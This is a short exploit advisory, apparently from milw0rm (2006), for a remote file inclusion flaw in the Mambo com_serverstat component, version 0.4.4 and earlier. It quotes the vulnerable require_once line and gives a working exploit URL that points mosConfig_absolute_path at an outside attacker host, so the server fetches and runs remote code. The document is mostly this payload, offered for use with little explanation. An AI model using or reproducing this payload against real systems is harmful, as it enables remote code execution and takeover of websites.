=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-= =-==-= + +Mambo com_serverstat Component <=0.4.4 Remote File Include Vulnerability + =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-= =-==-= + +Author: xoron (turkish hacker) + =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-= =-==-= + +Class : Remote + =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-= =-==-= + +Vuln Code: require_once($mosConfig_absolute_path."/administrator/components/com_ser verstat/config.serverstat.php"); + =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-= =-==-= + +Exploit: administrator/components/com_serverstat/install.serverstat.php?mosConfig _absolute_path=http://evil_scripts? + =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-= =-==-= + Thanx : str0ke, Ironfist, Preddy, SHiKaA + =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-= =-==-= # milw0rm.com [2006-09-14]